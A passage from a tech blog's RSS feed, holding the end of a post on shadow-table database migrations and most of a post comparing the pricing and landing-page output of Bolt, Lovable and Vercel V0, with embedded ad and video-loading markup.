&lt;th&gt;Killer Feature&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;gh-ost&lt;/td&gt;&#xA;          &lt;td&gt;MySQL&lt;/td&gt;&#xA;          &lt;td&gt;Triggerless replication&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;pg_repack&lt;/td&gt;&#xA;          &lt;td&gt;PostgreSQL&lt;/td&gt;&#xA;          &lt;td&gt;Online table reorganization&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Liquibase&lt;/td&gt;&#xA;          &lt;td&gt;Cross-DB&lt;/td&gt;&#xA;          &lt;td&gt;Change tracking&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Debezium&lt;/td&gt;&#xA;          &lt;td&gt;CDC streaming&lt;/td&gt;&#xA;          &lt;td&gt;Kafka integration&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;wrapping-up&#34;&gt;Wrapping Up&lt;/h2&gt;&#xA;&lt;p&gt;The shadow table strategy is far away from perfect and many things can occur.&lt;/p&gt;&#xA;&lt;p&gt;Remember that every database and application is different. What works for a read-heavy tables might not work for a write-heavy tables. Always test in an environment that mimics production as closely as possible.&lt;/p&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t be afraid to abort the migration during the last minute if things aren&amp;rsquo;t going according to plan, it&amp;rsquo;s all about keeping things working not about playing the hero.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Picture this: It&amp;rsquo;s 2 AM, you&amp;rsquo;re deploying a &amp;ldquo;simple&amp;rdquo; column type change to production, and suddenly your entire application is down because the table lock is taking forever. Your phone starts buzzing with angry Slack notifications, and you&amp;rsquo;re frantically trying to explain to your team why the &amp;ldquo;5-minute migration&amp;rdquo; has been running for 30 minutes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;whats-the-shadow-table-strategy&#34;&gt;What&amp;rsquo;s the Shadow Table Strategy?&lt;/h2&gt;&#xA;&lt;p&gt;The shadow table strategy is like having a stunt double for your database table. Instead of modifying your original table directly (and potentially bringing your application to its knees), you create a &lt;del&gt;shadow clone&lt;/del&gt; new table with the desired structure, gradually copy data over, and then perform a lightning-fast switcheroo.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My Bolt vs Lovable vs V0 Vercel Comparison</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/my-bolt-vs-lovable-vs-v0-vercel-comparison/</link>
      <pubDate>Tue, 03 Jun 2025 16:01:02 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/my-bolt-vs-lovable-vs-v0-vercel-comparison/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;All the tech influencers are spreading FOMO and talking about tools like Bolt, Vercel&amp;rsquo;s V0, and Lovable. But I get it, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI is overhyped right and we could be in a bubble&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Despite their non-realistic valuation, I&amp;rsquo;m astonished about what these tools can do without needing &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST APIs&lt;/a&gt;&#xA;, nor &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA; integrations from the user.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-v0-pricing&#34;&gt;Bolt vs Lovable vs V0 pricing&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s compare the pricing plans and features of each one, from V0, Lovable, and Bolt, focusing on aspects that may be relevant to those interested in creating &lt;del&gt;vulnerable&lt;/del&gt; sites using AI.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Feature/Category&lt;/th&gt;&#xA;          &lt;th&gt;V0&lt;/th&gt;&#xA;          &lt;th&gt;Lovable&lt;/th&gt;&#xA;          &lt;th&gt;Bolt&lt;/th&gt;&#xA;          &lt;th&gt;Winner&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Free Plan&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Price&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$0&lt;/td&gt;&#xA;          &lt;td&gt;$0&lt;/td&gt;&#xA;          &lt;td&gt;$0&lt;/td&gt;&#xA;          &lt;td&gt;All&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Included Credits&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$5 monthly credits&lt;/td&gt;&#xA;          &lt;td&gt;5 daily (30/month)&lt;/td&gt;&#xA;          &lt;td&gt;1M tokens/month&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (highest volume)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Public Projects&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;All&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Private Projects&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;No&lt;/td&gt;&#xA;          &lt;td&gt;No&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Daily Limit&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;5 credits&lt;/td&gt;&#xA;          &lt;td&gt;150K tokens&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (no daily limit)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Collaboration&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sync with GitHub&lt;/td&gt;&#xA;          &lt;td&gt;Up to 20 collaborators&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Lovable&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;AI Model Access&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;v0-1.5-md&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Pro Plan&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Price&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$20/month&lt;/td&gt;&#xA;          &lt;td&gt;$25/month&lt;/td&gt;&#xA;          &lt;td&gt;$20/month&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0/Bolt&lt;/strong&gt; (cheaper)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Included Credits&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$20 monthly credits&lt;/td&gt;&#xA;          &lt;td&gt;100 monthly credits&lt;/td&gt;&#xA;          &lt;td&gt;10M tokens/month&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (highest volume)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Private Projects&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;All&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;File Upload Limit&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;5x higher than Free&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;100MB (vs 10MB Free)&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Daily Limit&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;5 daily (150/month)&lt;/td&gt;&#xA;          &lt;td&gt;No limit&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt/V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Credit Rollover&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Purchase additional&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;Yes (2 months)&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (automatic)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;AI Model Access&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;v0-1.5-lg + API&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Special Features&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Import from Figma&lt;/td&gt;&#xA;          &lt;td&gt;Remove Lovable badge&lt;/td&gt;&#xA;          &lt;td&gt;Token efficiency focus&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (Figma integration)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Team Plan&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Price&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$30/user/month&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;$30/user/month&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0/Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Included Credits&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$30/user/month&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;10M tokens/user/month&lt;/td&gt;&#xA;          &lt;td&gt;Comparable&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Centralized Billing&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Yes&lt;/td&gt;&#xA;          &lt;td&gt;All&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Collaboration&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Shared chats&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Team workspace&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (structured)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Admin Controls&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Team-level access&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Enterprise Plan&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Pricing&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Custom&lt;/td&gt;&#xA;          &lt;td&gt;Custom&lt;/td&gt;&#xA;          &lt;td&gt;Custom&lt;/td&gt;&#xA;          &lt;td&gt;All&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;SSO&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;SAML SSO&lt;/td&gt;&#xA;          &lt;td&gt;SSO&lt;/td&gt;&#xA;          &lt;td&gt;SSO + advanced security&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Support&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Dedicated&lt;/td&gt;&#xA;          &lt;td&gt;Dedicated + onboarding&lt;/td&gt;&#xA;          &lt;td&gt;24/7 priority&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Lovable/Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Compliance&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Training opt-out&lt;/td&gt;&#xA;          &lt;td&gt;Opt-out of data training&lt;/td&gt;&#xA;          &lt;td&gt;Data governance policies&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Customization&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Custom integrations&lt;/td&gt;&#xA;          &lt;td&gt;Custom workflows&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Lovable/Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Key Differentiators&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;AI Focus&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Component generation&lt;/td&gt;&#xA;          &lt;td&gt;General AI features&lt;/td&gt;&#xA;          &lt;td&gt;AI token optimization&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (dev-focused)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Development Features&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Vercel deployment&lt;/td&gt;&#xA;          &lt;td&gt;Custom domains&lt;/td&gt;&#xA;          &lt;td&gt;Project syncing&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (deployment)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;UI/Design&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Figma import&lt;/td&gt;&#xA;          &lt;td&gt;Design templates&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Best For&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Developers needing components&lt;/td&gt;&#xA;          &lt;td&gt;Teams needing collaboration&lt;/td&gt;&#xA;          &lt;td&gt;High-volume AI usage&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;bolt-vs-lovable-vs-v0-pricing-by-category&#34;&gt;Bolt vs Lovable vs V0 pricing by category&lt;/h3&gt;&#xA;&lt;p&gt;Considering the previous information we could deduce that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Best Free Tier:&lt;/strong&gt; Bolt (most generous limits)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Best Pro Plan:&lt;/strong&gt; Bolt (no daily limits, rollover)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Best Team Features:&lt;/strong&gt; Bolt (structured workspace)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Best Enterprise:&lt;/strong&gt; Bolt (comprehensive security)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Best for Developers:&lt;/strong&gt; V0 (component generation)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Best for Designers:&lt;/strong&gt; V0 (Figma integration)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My take:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bolt&lt;/strong&gt; excels in AI resource allocation and team management&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;V0&lt;/strong&gt; shines for developer workflows and design integration&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Lovable&lt;/strong&gt; offers good mid-tier collaboration features&lt;/li&gt;&#xA;&lt;li&gt;It&amp;rsquo;s easier to upgrade from free to paid plans on all platforms, so don&amp;rsquo;t worry about it&lt;/li&gt;&#xA;&lt;li&gt;Token/credit systems vary significantly (Bolt&amp;rsquo;s being most transparent)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;bolt-vs-lovable-vs-v0-which-should-you-choose&#34;&gt;Bolt vs Lovable vs V0 which should you choose?&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;As you may know there are no &amp;ldquo;perfect&amp;rdquo; in the tech world, everything is a trade off so&amp;hellip;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you&amp;rsquo;re a solo developer: V0&lt;/li&gt;&#xA;&lt;li&gt;For Design-focused teams: Lovable seems good&lt;/li&gt;&#xA;&lt;li&gt;You need Heavy AI usage: Bolt&lt;/li&gt;&#xA;&lt;li&gt;Enterprise: Either Bolt or Lovable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-vercel-v0-testing&#34;&gt;Bolt vs Lovable vs Vercel V0 testing&lt;/h2&gt;&#xA;&lt;p&gt;So, given the latter, I decided to try all three to create something simple, a fairly straightforward project: a landing page.&lt;/p&gt;&#xA;&lt;p&gt;For the prompt, I used something quite simple. I decided not to be too specific, because it&amp;rsquo;s the kind of prompt that someone who isn&amp;rsquo;t very familiar with the context of Large Language Models would use. That&amp;rsquo;s why I kept it short, ambiguous, and not too specific.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Create a fancy and highly interactive landing page with cyberpunk vibes and neon colors&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;trying-to-create-a-landing-page-in-v0-vercel&#34;&gt;Trying to create a landing page in v0-vercel&lt;/h2&gt;&#xA;&lt;p&gt;The result from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://v0.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Vercel&amp;rsquo;s V0&lt;/a&gt;&#xA; is pretty decent.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The color palette is Cyberpunkish. I adored the background they used in the back, the landing page seemed a little simple to me, but it perfectly delivers on its promise.&lt;/p&gt;&#xA;&lt;div class=&#34;video-embed&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1772340601444568749&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1752634111/coffee-bytes/v0_0_5mb_gkrgvn.mp4&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1772340601444568749&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;h3 